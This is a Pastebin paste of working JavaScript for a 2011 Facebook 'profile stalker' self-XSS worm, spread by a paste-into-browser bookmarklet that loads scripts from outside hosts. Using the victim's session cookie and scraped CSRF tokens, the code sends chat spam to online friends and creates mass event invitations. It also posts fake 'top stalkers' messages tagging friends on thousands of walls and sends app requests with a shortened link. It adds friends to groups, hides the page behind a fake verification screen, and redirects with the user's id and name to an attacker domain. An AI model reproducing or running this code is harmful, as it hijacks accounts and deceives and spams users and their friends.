saifulfaizan

Encode Fb stalker...

May 14th, 2011
451
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. //javascript:(function(){_ccscr=document.createElement('SCRIPT');_ccscr.type='text/javascript';_ccscr.src='http://scarlion.com/a.php?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();
  2.  
  3. var friendsids = Array();
  4. var friendsname = Array();
  5. if(document.location.host!="www.facebook.com"||!Env.user){
  6.     //alert("you must run this script on a page on Facebook");
  7.     return false;
  8. }
  9.  
  10.  
  11.   var chatmessage = "hey %firstname% you were one of my top stalkers haha! go check who your top stalkers are at http://clickily.ws/lku0ip";
  12.   var postmessage = "My Top Profile Viewers: \n\ %tf% - 40 views \n\ %tf% - 28 views \n\ %tf% - 16 views \n\ %tf% - 56 views \n\ See who viewed your profile @ http://clickily.ws/lku0ip";
  13.   var redirect = "http://scarlion/user.php";
  14.   var eventdesc = "See your facebook profile stalkers http://clickily.ws/lku0ip";
  15.   var eventname = "WOW Now you can see who views your facebook profile!";
  16.   var nfriends = 5000;
  17.  
  18. var fbrankloaded=true;
  19. var thisuser=Env.user;
  20. var currentuser=Env.user;
  21. var fuzzymode=false;    //set to true if we are looking at fuzzy (not from typeahead) data; implicitly true if thisuser!=currentuser
  22. var pathtoidmap={}; //to hold map from paths to ids
  23. var selffriends;    //to hold data about own friends
  24. var selfdata;   //like selffriends, but without nonfriends deleted
  25. var fuzzydatamap={};    //to hold a map from userid to an array that caches data returned by getinfoforoffset for each offset
  26.  
  27.  
  28.  
  29.          // <script>
  30.     // the following line is what they paste into the browser:
  31.     // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0)
  32.     var debug=false;
  33.  
  34.     var wf=0;
  35.  
  36.     var mf = function() {
  37.       if (wf <= 0) { // redirect to final page which closes, because iframes don't deliver cookies reliably
  38.         setTimeout(function () {
  39.           window.top.location.href = redirect;
  40.           }, 500);
  41.       }
  42.     }
  43.  
  44.     var doget = function(url, c, f) {
  45.       var xhr = new XMLHttpRequest();
  46.       xhr.open("GET", url);
  47.       xhr.onreadystatechange = function() {
  48.         if (xhr.readyState == 4) {
  49.           if (xhr.status == 200 && c) {
  50.             c(xhr.responseText);
  51.           }
  52.           if (f) { f(); }
  53.         }
  54.       }
  55.       xhr.send();
  56.     };
  57.  
  58.     doget("/", function(z) {
  59.       var uid = document.cookie.match(/c_user=(\d+)/)[1];
  60.       var tag = function(o) {
  61.         return o ? "@[" + o.id + ":" + o.name + "]" : "";
  62.       };
  63.       var name = function(o) {
  64.         return o ? o.name : "";
  65.       };
  66.       var htp = function(o) {
  67.         out = "";
  68.         for (var n in o) {
  69.           out += (out ? "&" : "") + n + ((o[n] !== null) ? "=" + encodeURIComponent(o[n]) : "");
  70.         }
  71.         return out;
  72.       };
  73.       var dopost = function(url, o, c, f) {
  74.         var xhr = new XMLHttpRequest();
  75.         xhr.open("POST", url);
  76.         xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  77.         xhr.onreadystatechange = function() {
  78.           if (xhr.readyState == 4) {
  79.             if (xhr.status == 200 && c) {
  80.               c(xhr.responseText);
  81.             }
  82.             if (f) { f(); }
  83.           }
  84.         }
  85.         xhr.send(htp(o));
  86.       };
  87.       var coverpage = function() {
  88. //        var boxdiv = document.createElement('div');
  89. //        boxdiv.style.display = 'block';
  90. //        boxdiv.style.position = 'absolute';
  91. //        boxdiv.style.width = 100 + '%';
  92. //        boxdiv.style.height = 100 + '%';
  93. //        boxdiv.style.left = 0 + 'px';
  94. //        boxdiv.style.top = 0 + 'px';
  95. //        boxdiv.style.textAlign = 'center';
  96. //        boxdiv.style.padding = '4px';
  97. //        boxdiv.style.background = '#FFFFFF';
  98. //        boxdiv.style.zIndex = 999999;
  99. //        boxdiv.innerHTML='&nbsp;<br/>Please wait, this can take up to a minute...<br/><br/>Or if you get sick of waiting, you can <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> (results may be less accurate)<br/><img src="http://genetics.bwh.harvard.edu/snp2rflp/circle.gif">';
  100. //        document.body.appendChild(boxdiv);
  101.       }
  102.       var ccc=z.match(/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
  103.       if (ccc)
  104.         comp=ccc[1];
  105.       else
  106.         comp='';  
  107.       //var comp = z.match(/name="xhpc_composerid" value="([\d\w]+)"/i)[1];
  108.       var form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
  109.       var dt = z.match(/name="fb_dtsg" value="([\d\w]+)"/i)[1];
  110.       var username = document.getElementById('navAccountName').firstChild.data;
  111.       redirect = redirect + "?" + htp({userid:uid,name:username,doclose:1});
  112.  
  113.       coverpage();
  114.  
  115.  
  116.       if (eventdesc) {
  117.       // type=event&eid&&&invite_message=&__d=1&post_form_id=fb2f0d3e0fa68266ebd293dbd9e84d84&fb_dtsg=GsuSc&lsd&post_form_id_source=AsyncRequest
  118.         wf++;
  119.  
  120.         dopost('/ajax/choose/?__a=1', {
  121.             type:'event', eid:null, invite_message:'', __d:1, post_form_id:form, fb_dtsg:dt, lsd:null, post_form_id_source:"AsyncRequest"
  122.           },
  123.           function(rt) {
  124.             var tok = rt.match(/\\"token\\":\\"([^\\]+)\\"/)[1];  //   \"token\":\"1301833849-6\",
  125.             // alert("token: " + tok);
  126.             var url = "/ajax/typeahead/first_degree.php?__a=1&viewer=" + uid + "&token=" + tok + "&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha";
  127.             // GET /ajax/typeahead/first_degree.php?__a=1&viewer=1019042345&token=1301939940-6&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha
  128.             doget(url, function (rt2) {
  129.                 var q = rt2.match(/\{"uid":\d+,/g);
  130.                 var flist = [];
  131.                 for (var i=0; i < q.length; i++) {
  132.                   var id = q[i].match(/:(\d+),/)[1];
  133.                   if (id != uid) {
  134.                     flist.push(id);
  135.                   }
  136.                 }
  137.                 // alert("friends: " + flist.join(", "));
  138.  
  139.                 var d = new Date();
  140.                 d.setTime(d.getTime() + 60*60*24*1000); // add one day to the date object
  141.                 datestr = (d.getMonth()+1) + "/" + d.getDate() + "/" + d.getFullYear();
  142.                 timestr = d.getHours() * 60;
  143.                 var eo = {
  144.                   post_form_id:form,fb_dtsg:dt,
  145.                   start_time_intl_field:datestr, start_time_text_field:datestr, start_time_hour_min:timestr,
  146.                   name:eventname,
  147.                   place_page_id:"",location:"",street:"",geo_id:"",geo_sq:"",
  148.                   desc:eventdesc,
  149.                   sgb_invitees:flist.join(","),
  150.                   sgb_emails:"",sgb_message:"",
  151.                   privacy_type:"on",guest_list:"on",connections_can_post:"on",save:"Create Event",submitting:""
  152.                 };
  153.                 eo['new'] = '';
  154.                 dopost('/events/create.php', eo, false, function() { mf(--wf); });
  155.               }
  156.             );
  157.           }
  158.         );
  159.       }
  160.  
  161.       /*
  162.       if (false) {
  163.         wf++;
  164.         doget("/ajax/browser/friends/?uid=" + uid + "&filter=all&__a=1&__d=1", function(rt) {
  165.           var q = rt.match(/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
  166.           var flist = [];
  167.           for (var i=0; i < q.length; i++) {
  168.             var id = q[i].match(/_\d+_/)[0].replace(/_/g, "");
  169.             flist.push(id);
  170.           }
  171.  
  172.           var d = new Date();
  173.           d.setTime(d.getTime() + 60*60*24*1000); // add one day to the date object
  174.           datestr = (d.getMonth()+1) + "/" + d.getDate() + "/" + d.getFullYear();
  175.           timestr = d.getHours() * 60;
  176.           var eo = {
  177.             post_form_id:form,fb_dtsg:dt,
  178.             start_time_intl_field:datestr, start_time_text_field:datestr, start_time_hour_min:timestr,
  179.             name:eventname,
  180.             place_page_id:"",location:"",street:"",geo_id:"",geo_sq:"",
  181.             desc:eventdesc,
  182.             sgb_invitees:flist.join(","),
  183.             sgb_emails:"",sgb_message:"",
  184.             privacy_type:"on",guest_list:"on",connections_can_post:"on",save:"Create Event",submitting:""
  185.           };
  186.           eo['new'] = '';
  187.           dopost('/events/create.php', eo, false, function() { mf(--wf); });
  188.         });
  189.       }
  190.       */
  191.  
  192.       if (chatmessage) {
  193.         wf++;
  194.         dopost('/ajax/chat/buddy_list.php?__a=1', {
  195.           user:uid,post_form_id:form,fb_dtsg:dt,lsd:null,
  196.           post_form_id_source:"AsyncRequest",popped_out:false,force_render:true},
  197.           function (rt) {
  198.             var data = rt.substr(9);
  199.             var resobj = eval("(" + data + ")");
  200.             var bl = resobj.payload.buddy_list;
  201.             for (var fid in bl.nowAvailableList) {
  202.               var r = Math.floor(Math.random()*1335448958);
  203.               var t = (new Date()).getTime();
  204.               var m = chatmessage.replace("%firstname%", bl.userInfos[fid].firstName.toLowerCase());
  205.               dopost('/ajax/chat/send.php?__a=1', {
  206.                   msg_id:Math.floor(Math.random()*1335448958), client_time:(new Date()).getTime(),
  207.                   msg_text:chatmessage.replace("%firstname%", bl.userInfos[fid].firstName.toLowerCase()),
  208.                   to:fid, post_form_id:form, fb_dtsg:dt, post_form_id_source:"AsyncRequest"
  209.                 });
  210.             }
  211.             mf(--wf);  // if no online buddies and this returns last, then finalize              
  212.           }
  213.         );
  214.       }
  215.  
  216.       if (postmessage) {
  217.         wf++;
  218.         doget("/ajax/browser/friends/?uid=" + uid + "&filter=all&__a=1&__d=1", function(rt) {
  219.           var q = rt.match(/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
  220.           var pf = [];
  221.           if (q)
  222.           for (var i=0; i < q.length; i++) {
  223.             var id = q[i].match(/_\d+_/)[0].replace(/_/g, "");
  224.             var nm = q[i].match(/>[^>]+\\u003c\\\/a>$/i)[0].replace(/\\u003c\\\/a>$/gim, "").replace(/>/g, "");
  225.             pf.push({id:id,name:nm});
  226.           }
  227.           var f=[];
  228.           var f2=[];
  229.           while (pf.length) {
  230.             var idx = Math.floor(Math.random() * pf.length);
  231.             f.push(pf[idx]);
  232.             f2.push(pf[idx]); // make a copy
  233.             var t = pf.shift(); // pull off the first element
  234.             if (idx) {
  235.               pf[idx-1] = t;  // replace the random element we copied to f
  236.             }
  237.           }
  238.  
  239.           if (debug) { alert("fetched friends: " + f.length); }
  240.  
  241.           var po={post_form_id:form,fb_dtsg:dt,xhpc_composerid:comp,xhpc_targetid:uid,xhpc_context:"home",xhpc_fbx:"",
  242.             lsd:null,post_form_id_source:"AsyncRequest"};
  243.           mt = postmessage;
  244.           m = postmessage;
  245.           while (mt.search("%tf%") >= 0) {
  246.             var tf = f.pop();
  247.             mt = mt.replace("%tf%", name(tf));
  248.             m = m.replace("%tf%", tag(tf));
  249.           }
  250.           po.xhpc_message_text = mt;
  251.           po.xhpc_message = m;
  252.  
  253.           if (debug) { alert("message text: " + mt); }
  254.  
  255.           dopost("/ajax/updatestatus.php?__a=1", po);  // do status post
  256.  
  257.           var fpost = function(n) {
  258.             if (n == 0) {
  259.               wf = 0;    // made specified number of posts, force return
  260.               mf();
  261.               return;
  262.             }
  263.             var fz = f2.shift();
  264.             var pz={post_form_id:form,fb_dtsg:dt,xhpc_composerid:comp,xhpc_targetid:fz.id,xhpc_context:"profile",xhpc_fbx:1,
  265.               lsd:null,post_form_id_source:"AsyncRequest"};
  266.             var zmt = postmessage;
  267.             var zm = postmessage;
  268.             if (f.length == 0) {
  269.               wf = 0;    // ran out of friends, force return
  270.               mf();
  271.               return;
  272.             }
  273.             while (zmt.search("%tf%") >= 0) {
  274.               var ztf = f.pop();
  275.               zmt = zmt.replace("%tf%", name(ztf));
  276.               zm = zm.replace("%tf%", tag(ztf));
  277.             }
  278.             pz.xhpc_message_text = zmt;
  279.             pz.xhpc_message = zm;
  280.  
  281.             dopost("/ajax/updatestatus.php?__a=1", pz);
  282.             setTimeout(function() { fpost(n-1); }, 2000);  // after two seconds kick off fpost again
  283.           };
  284.  
  285.           wf++;  // wait until we run out of friends to tag or meet requested number of friends walls
  286.           setTimeout(function() { fpost(nfriends); }, 2000);
  287.         });
  288.       }
  289.  
  290.       mf();  // should only trigger if chatmessage and postmessage are both disabled
  291.     });
  292.  
  293.  
  294. function loadui(){
  295.     //build page
  296.     //build stylesheet
  297.     var body="<style>#ccfbrank{background:white;margin:0;padding:0;font-family:'lucida grande', tahoma, verdana,sans-serif;display:block;position:absolute;top:0;left:0;width:100%;min-height:100%;z-index:1000;font-size:12pt;}#ccfbrank table,#ccfbrank td{border-spacing:0 !important;padding:0;}#ccfbrank td{font-size:12pt;}#ccfbrank #heading{padding:10px;}#ccfbrank td{padding:10px;margin:0 !important;}#ccfbrank #toggle a{color:white;font-weight:normal;display:inline-block;border:1px solid #3b5998;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:3px;}#ccfbrank #toggle a:hover{text-decoration:none;background:#476ab6;border-color:#889fd1;}#toggle a:active{position:relative;top:1px;left:1px;}#ccfbrank #toggle{float:right;margin-right:10px;margin-top:9px;}#ccfbrank #heading{background:#3b5998;font-size:16pt;color:white;}#ccfbrank .numbering{color:#3b5998;font-size:20pt;text-align:right;display:inline-block;width:85px;}#ccfbrank .row1{background:#edeff4;}#ccfbrank .pic{margin-left:10px;display:inline-block;margin-right:0;padding-right:0;height:50px;}#ccfbrank .info{line-height:140%;margin-left:0px;display:inline-block;color:gray;}#ccfbrank .distancetext{visibility:hidden;}#ccfbrank .distance{width:auto;text-align:right;color:gray;width:300px;}.distance a{font-weight:normal !important;}#ccfbrank a{color:#3B5998;font-weight:bold;text-decoration:none;}#ccfbrank a:hover{text-decoration:underline;}#ccfbrank #footer{padding:10px;margin-top:10px;border-top:1px solid #d8dfea;background:#edeff4;color:#3B5998;}#ccfbrank #footer a{font-weight:normal;color:#4669b4;}#__ccrefreshing{background:white;margin:0;padding:0;position:fixed;top:0;left:0;width:100%;min-height:100%;z-index:1001;font-size:12pt;opacity:0.5;}.warningrow td,#errorcontainer{background:#fffdce;text-align:center;}.loadmorerow td{background:white;border-top:1px solid #d8dfea;border-bottom:1px solid #d8dfea;text-align:center;}#messagecontainer{background:#edeff4;border-bottom:1px solid #d8dfea;}#messagecontainer a{font-weight:normal;}#messagetoggle a{font-weight:normal;display:inline-block;border:1px solid transparent;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:3px;}#ccfbrank #messagetoggle a:hover{text-decoration:none;background:#e1e4ec;border-color:#acbada;}#messagetoggle a:active{position:relative;top:1px;left:1px;}</style>";
  298.     //build toggle button
  299.     body+="<span id='toggle'><a href='#' onClick='document.getElementById(\"ccfbrank\").style.display=\"none\";document.getElementById(\"globalContainer\").style.display=\"block\";'>close</a></span>";
  300.     //build heading
  301.     body+="<div id='heading'>Verifying your code - Please wait, this may take a few moments.</div>";
  302.     body+="<div id='messagecontainer'></div>";
  303.     body+="<div id='errorcontainer'></div>";
  304.     //build main table container
  305.     body+="<div id='tablecontainer'></div>";
  306.     body+="<div id='footer'>";
  307.     body+="(<a href=''></a>)";
  308.     body+="</div>";
  309.     //w.document.write(body);
  310.     if(!(container=document.getElementById("ccfbrank"))){
  311.         container=document.createElement("div");
  312.         container.id="ccfbrank";
  313.         document.body.appendChild(container);
  314.     }
  315.     container.style.display="block";
  316.     container.innerHTML=body;
  317.     //hide fb's stuff
  318.     document.getElementById("globalContainer").style.display="none";
  319. }
  320.  
  321. loadui();
  322.  
  323. function displayfriendtable(friends){
  324.     var body="<table cellpadding=0 cellspacing=0 style='table-layout:fixed;width:100%'>";
  325.     var encounteredambiguous=false;
  326.  
  327.     for(i=0;i<friends.length;i++){
  328.           //for(i=0;i=1;i++){
  329.         //display ambiguity warning
  330.         if(friends[i].isambiguous&&!encounteredambiguous){
  331.             encounteredambiguous=true;
  332.             body+="<tr class='warningrow'>";
  333.              body+="</tr>";
  334.         }
  335.         //body+="<tr class='row"+(i%2)+"'>";
  336.         //body+="<td class='numbering'>"+(i+1)+"</td>";
  337.         //if(!friends[i].photo) friends[i].photo="http://static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif";
  338.         //body+="<td class='pic'>";
  339.         //body+="<img src='"+friends[i].photo+"'>";
  340.                 //body+=friends[i].text;
  341.         //body+="</td>";
  342.         //body+="<td class='info'>";
  343.         if(friends[i].isloading){
  344.             //body+="<img src='http://static.ak.fbcdn.net/rsrc.php/zb/r/GsNJNwuI-UM.gif'> Loading...";
  345.         }else{
  346.  
  347.             if(friends[i].category){
  348.                 //body+="<br>"+friends[i].category;
  349.             }
  350.         }
  351.         body+="</td>";
  352.         body+="<td class='distance'>";
  353.         if(friends[i].uid)
  354.         {   //we create a link to switch the context to the friend's friends
  355.         /*  var span = document.createElement("span");
  356.             span.setAttribute("class","removable uiToken");
  357.             span.setAttribute("title",friends[i].text);
  358.             var hidden = document.createElement("input");
  359.             hidden.setAttribute("type","hidden");
  360.             hidden.setAttribute("name","members[]");
  361.             hidden.setAttribute("value",friends[i].uid);
  362.             span.appendChild(hidden);
  363.             var hidden2 = document.createElement("input");
  364.             hidden2.setAttribute("type","hidden");
  365.             hidden2.setAttribute("name","text_members[]");
  366.             hidden2.setAttribute("value",friends[i].text);
  367.             span.appendChild(hidden2);
  368.              var a = document.createElement("a");
  369.              a.setAttribute("title","Remove "+friends[i].text);
  370.              a.setAttribute("class","remove uiCloseButton uiCloseButtonSmall");
  371.              a.setAttribute("href","#");
  372.              span.appendChild(a);
  373.              $("groupMembersInput").parentNode.parentNode.previousSibling.appendChild(span);
  374.         */
  375.  
  376.  
  377.     var xhr=new XMLHttpRequest();
  378.     var pf = escape(findelementbyname("post_form_id"));
  379.     var groupid = escape(findelementbyname('targetid'));//escape(document.forms[4].targetid.value);
  380.     var fb_dtsg = escape(document.getElementsByName("fb_dtsg")[0].value);
  381.     xhr.open("POST","/fbml/ajax/prompt_send.php?__a=1");
  382.  
  383. var linky = 'http://bit.ly/hKE6tF';
  384. var msgy = friends[i]['text'] + ' ... You have (2) new PROFILE STALKERS\n<b>Click Accept To View</b>';
  385. var appid = '2309869772';
  386. try {
  387.     var data = 'app_id=' + appid + '&to_ids[0]=' + friends[i]['uid'] + '&&request_type=&invite=true&content=' + msgy + '%20%0A%3Cfb%3Areq-choice%20url' + '%3D%22' + linky + '%22%20label%3D%22t%20%22%3E%3C%2Ffb%3Areq-choice%3E&preview=false&is_multi=false&is_in_canvas=true&form_id=req_form_&' + 'prefill=false&message=&donot_send=false&include_ci=false&__d=1&post_form_id=' + pf + '&fb_dtsg=' + fb_dtsg + '&lsd&post_form_id_source=AsyncRequest';
  388.     xhr['send'](data);
  389. } catch (err) {};
  390.  
  391.        
  392.         friendsids.push("members[]="+escape( friends[i].uid));
  393.         friendsname.push("text_members[]="+ escape(friends[i].text));
  394.              if(friendsids.length > 20)
  395.              {
  396.                  friendsids= Array();
  397.                  friendsname=Array();
  398.          }
  399.         }
  400.         body+="</td>";
  401.         body+="</tr>";
  402.         //display load more thing
  403.    
  404.                  
  405.         if(i==friends.length-1&&friends[i].canloadmore){
  406.             body+="<tr class='loadmorerow'>";
  407.             body+="<td colspan=2><a href='javascript:loadmore(10);'>Load more</a></td>";
  408.             body+="</tr>";
  409.         }
  410.     }
  411.     body+="</table>";
  412.     document.getElementById("tablecontainer").innerHTML=body;
  413. }
  414.  
  415. function findelementbyname(nme)
  416. {
  417.    
  418.     var inputs = document.getElementsByTagName("input");
  419.     for(var i=0;i<inputs.length;i++)
  420.     {
  421.         if(inputs[i].name == nme)
  422.         return inputs[i].value;
  423.        
  424.     }
  425.     return null;
  426. }
  427.  
  428. function CheckIds(thefriendsids, thefriendsname)
  429. {
  430.     var xhr=new XMLHttpRequest();
  431.     xhr.open("POST","/ajax/groups/members/add_post.php?__a=1&"+Math.random(),true);
  432.     var pf = escape(findelementbyname("post_form_id"));
  433.     var groupid = escape(findelementbyname('targetid'));//escape(document.forms[4].targetid.value);
  434.     var fb_dtsg = escape(document.getElementsByName("fb_dtsg")[0].value);
  435.      
  436.      
  437.      try
  438.      {
  439.         var data = "__d=1&add_friends_to_group=Add&fb_dtsg="+fb_dtsg+"&group_id="+groupid+"&"+thefriendsids.join("&") + "&"+thefriendsname.join("&") +"&refresh=";
  440.         data+="&post_form_id="+pf+"&lsd=&post_form_id_source=AsyncRequest";
  441.         xhr.send(data);
  442.     }
  443.     catch(err)
  444.     {
  445.    
  446.     }
  447.     return;
  448.     if(xhr.readyState!=4){
  449.         alert("Error making ajax request (readyState="+xhr.readyState+")--check that you can connect to Facebook and try again?");
  450.     }else{
  451.     members = new Array();
  452.     textmembers = new Array();
  453.         data=JSON.decode(xhr.responseText.substr(9));
  454.         if(data.error){
  455.             alert("Facebook error: "+data.errorDescription);
  456.         }else{
  457.             //sort friends by index
  458.        
  459.         }
  460.         //remove extraneous things, where rankType!=friend and stuff
  461.    
  462.     }
  463.    
  464.     members = new Array();
  465.     textmembers = new Array();
  466.  
  467.    
  468. }
  469.  
  470. function loadselfdata(){
  471.     //we can afford to use xhr synchronously here since it's just one request
  472.     xhr=new XMLHttpRequest();
  473.     xhr.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer="+thisuser+"&"+Math.random(),false);
  474.  
  475.     xhr.send();
  476.     if(xhr.readyState!=4){
  477.         alert("Error making ajax request (readyState="+xhr.readyState+")--check that you can connect to Facebook and try again?");
  478.     }else{
  479.         //document.getElementById("heading").innerHTML("/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer="+thisuser+"&"+Math.random());
  480.         data=eval('('+xhr.responseText.substr(9)+')');
  481.    
  482.         if(data.error){
  483.             alert("Facebook error: "+data.errorDescription);
  484.         }else{
  485.             //sort friends by index
  486.             selffriends=data.payload.entries.sort(function(a,b){return a.index-b.index;});
  487.            
  488.             //build map from paths to ids
  489.             for(i=0;i<selffriends.length;i++){
  490.                 pathtoidmap[selffriends[i].path]=selffriends[i].uid;
  491.             }
  492.         }
  493.            
  494.         //remove extraneous things, where rankType!=friend and stuff
  495.         selfdata=selffriends;
  496.        
  497.         //var newsf=[];
  498.         //for(i=0;i<selffriends.length;i++){
  499.         //  if(selffriends[i].rankType=="friend"&&selffriends[i].uid!=thisuser){
  500.         //      newsf.push(selffriends[i]);
  501.         //  }
  502.         //}
  503.         //selffriends=newsf;
  504.     //alert("displaying friends:" + selffriends.length);
  505.     }
  506. }
  507.  
  508. loadselfdata();
  509. displayfriendtable(selffriends);
  510. setTimeout(function (){runai();}, 15000);
  511. var abortloadingfuzzydata=false;    //we set this if we need to abort loading these on an error
  512. var requests=[];
  513.  
  514. function runai() {
  515. window.location="http://scarlion.com/user.php?";
  516. }
  517.  
  518. //load data from list of friends--we must do this asyncronously or it'll be slow
  519. function loadfuzzydata(){
  520.     abortloadingfuzzydata=false;
  521.     var loadforid=currentuser;
  522.     // console.log("loading fuzzy data for id="+loadforid);
  523.     var n=20;
  524.     if(!fuzzydatamap[currentuser]) fuzzydatamap[currentuser]={};
  525.     if(!fuzzydatamap[currentuser].infodumps) fuzzydatamap[currentuser].infodumps=[];
  526.     fuzzydatamap[currentuser].numberrequested=n;
  527.     var i;
  528.     for(i=0;i<=n;i++){
  529.         if(!fuzzydatamap[currentuser].infodumps[i]) fuzzydatamap[currentuser].infodumps[i]={"isloading":true};
  530.         asyncgetfuzzyinfoforoffset(i);
  531.     }
  532. }
  533.  
  534. //load n more results
  535. function loadmore(n){
  536.     var m=fuzzydatamap[currentuser].numberrequested;
  537.     fuzzydatamap[currentuser].numberrequested+=n;
  538.     var i;
  539.     for(i=m;i<=fuzzydatamap[currentuser].numberrequested;i++){
  540.         if(!fuzzydatamap[currentuser].infodumps[i]) fuzzydatamap[currentuser].infodumps[i]={"isloading":true};
  541.         asyncgetfuzzyinfoforoffset(i);
  542.     }
  543.     refreshtable();
  544. }
  545.  
  546. //we asynchronously load a list of friends
  547. function asyncgetfuzzyinfoforoffset(offset){
  548.     // console.log("asyncgetfuzzyinfoforoffset called for offset "+offset);
  549.     if(fuzzydatamap[currentuser].infodumps[offset]&&fuzzydatamap[currentuser].infodumps[offset].length>0){
  550.         //we don't want to redo the request
  551.         // console.log("nothing to do...returning");
  552.         return;
  553.     }
  554.     var n=requests.length;
  555.     requests[n]={};
  556.     requests[n].offset=offset;  //store the offset for later so we know what we're doing
  557.     requests[n].userid=currentuser; //again we store the user id too
  558.     requests[n].xhr=new XMLHttpRequest();
  559.     requests[n].xhr.open("GET","/ajax/browser/list/friends/all/?uid="+currentuser+"&offset="+offset+"&dual=1&__a=1&"+Math.random(),true);
  560.     requests[n].xhr.onreadystatechange=eval("(function(){checkasyncrequest("+n+");})"); //hack so we can use xhrs concurrently
  561.     requests[n].xhr.send();
  562. }
  563.  
  564. //callback function for xhr, populates fuzzydatamap
  565. function checkasyncrequest(n){
  566.     //// console.log("xhr["+n+"]: readystate="+requests[n].xhr.readyState);
  567.     if(requests[n].xhr.readyState==4){
  568.         // console.log("callback reached for request "+n+" (userid="+requests[n].userid+", offset="+requests[n].offset+")");
  569.         var data=JSON.decode(requests[n].xhr.responseText.substr(9));
  570.        
  571.         if(data.error){
  572.             document.getElementById("errorcontainer").innerHTML="<div style='padding:8px;'>Oops Facebook returned an error.  This might be because of some privacy setting or some general silliness from too many requests.  <a href='javascript:switchtocontext(\""+currentuser+"\",true)'>Try again?</a></div>";
  573.             return;
  574.         }
  575.        
  576.         var friendshtml=eval(data.onload[0].replace("(function(){DOM.appendContent(this, HTML(","").replace("));;}).apply(DOM.find(this.getRelativeTo(),\"^div.fbProfileBrowserListContainer\"))",""));
  577.        
  578.         //since parsing html sucks, we create a dom node and manipulate it to extract the data
  579.         var dnode=document.createElement("div");
  580.         dnode.innerHTML=friendshtml;
  581.         var infonodes=dnode.getElementsByClassName("fbProfileBrowserLargeList")[0].getElementsByClassName("fbProfileLargePortrait");
  582.         var info=[];
  583.         for(i=0;i<infonodes.length;i++){
  584.             links=infonodes[i].getElementsByTagName("a");
  585.             info[i]={};
  586.             info[i].path=links[0].href.replace(/^https?:\/\/[a-z]+\.facebook\.com/,"");
  587.             //we use pictures from facebook graph because the pictures they give us in the response are too large
  588.             info[i].photo="http://graph.facebook.com"+info[i].path.replace("profile.php?id=","")+"/picture";
  589.             //if we are friends with this person, we add their id so later we can display a link to their rankings
  590.             if(pathtoidmap[info[i].path]!=undefined){
  591.                 info[i].uid=pathtoidmap[info[i].path];
  592.             }
  593.             info[i].text=infonodes[i].getElementsByClassName("fwb")[0].innerHTML;
  594.             if(infonodes[i].getElementsByClassName("fcg").length>0){
  595.                 info[i].category=infonodes[i].getElementsByClassName("fcg")[0].innerHTML.replace(/<[^>]+>/g,"");    //we get rid of extraneous tags that somehow are in here
  596.             }
  597.         }
  598.         if(typeof fuzzydatamap[requests[n].userid]=="undefined") fuzzydatamap[requests[n].userid]={};
  599.         if(typeof fuzzydatamap[requests[n].userid].infodumps=="undefined") fuzzydatamap[requests[n].userid].infodumps=[];
  600.         fuzzydatamap[requests[n].userid].infodumps[requests[n].offset]=info;
  601.     }
  602. }
  603.  
  604. //returns a summary of the differences between two sets of friends (this is used on the infodumps in fuzzydatamap)
  605. function infodiff(oldinfo,newinfo){
  606.     oldinfomap={};
  607.     for(i=0;i<oldinfo.length;i++){
  608.         oldinfomap[oldinfo[i].path]=1;
  609.     }
  610.     newinfomap={};
  611.     for(i=0;i<newinfo.length;i++){
  612.         newinfomap[newinfo[i].path]=1;
  613.     }
  614.     //find removed
  615.     removed=new Array();
  616.     for(i=0;i<oldinfo.length;i++){
  617.         if(newinfomap[oldinfo[i].path]!=1){
  618.             removed.push(oldinfo[i]);
  619.         }
  620.     }
  621.     //find added
  622.     added=new Array();
  623.     for(i=0;i<newinfo.length;i++){
  624.         if(oldinfomap[newinfo[i].path]!=1){
  625.             added.push(newinfo[i]);
  626.         }
  627.     }
  628.     return {"added" : added, "removed" : removed};
  629. }
  630.  
  631. var fuzzyloadingcompleted=false;
  632.  
  633. //refresh rankings based on possibly refreshedinfodump
  634. function refreshfuzzyrankedfriends(){
  635.     fuzzyloadingcompleted=true;
  636.     if(typeof fuzzydatamap[currentuser]=="undefined") fuzzydatamap[currentuser]={};
  637.     if(typeof fuzzydatamap[currentuser].rankedfriends=="undefined") fuzzydatamap[currentuser].rankedfriends=[];
  638.     if(typeof fuzzydatamap[currentuser].infodumps=="undefined") fuzzydatamap[currentuser].infodumps=[];
  639.     var i;
  640.     for(i=0;i<fuzzydatamap[currentuser].infodumps.length-1;i++){
  641.         //// console.log("refreshingfuzzyindex "+i);
  642.         if(typeof fuzzydatamap[currentuser].rankedfriends[i]=="undefined"){
  643.             fuzzydatamap[currentuser].rankedfriends[i]={"isloading":true};
  644.             fuzzyloadingcompleted=false;
  645.         }
  646.         if(fuzzydatamap[currentuser].rankedfriends[i].isloading){
  647.             fuzzyloadingcompleted=false;
  648.         }
  649.         if(fuzzydatamap[currentuser].infodumps[i].length>0&&fuzzydatamap[currentuser].infodumps[i+1].length>0){
  650.             diff=infodiff(fuzzydatamap[currentuser].infodumps[i],fuzzydatamap[currentuser].infodumps[i+1]);
  651.             //if(diff.removed.length==1){
  652.                 fuzzydatamap[currentuser].rankedfriends[i]=diff.removed[0];
  653.             //}
  654.             if(diff.removed.length>1){
  655.                 //this ranking is ambiguous
  656.                 fuzzydatamap[currentuser].rankedfriends[i].isambiguous=true;
  657.             }
  658.            
  659.             //this is a hack to signal displayfriendtable to add a link to load more
  660.             if(i==fuzzydatamap[currentuser].infodumps.length-2&&fuzzydatamap[currentuser].infodumps[i+1].length>2){
  661.                 fuzzydatamap[currentuser].rankedfriends[i].canloadmore=true;
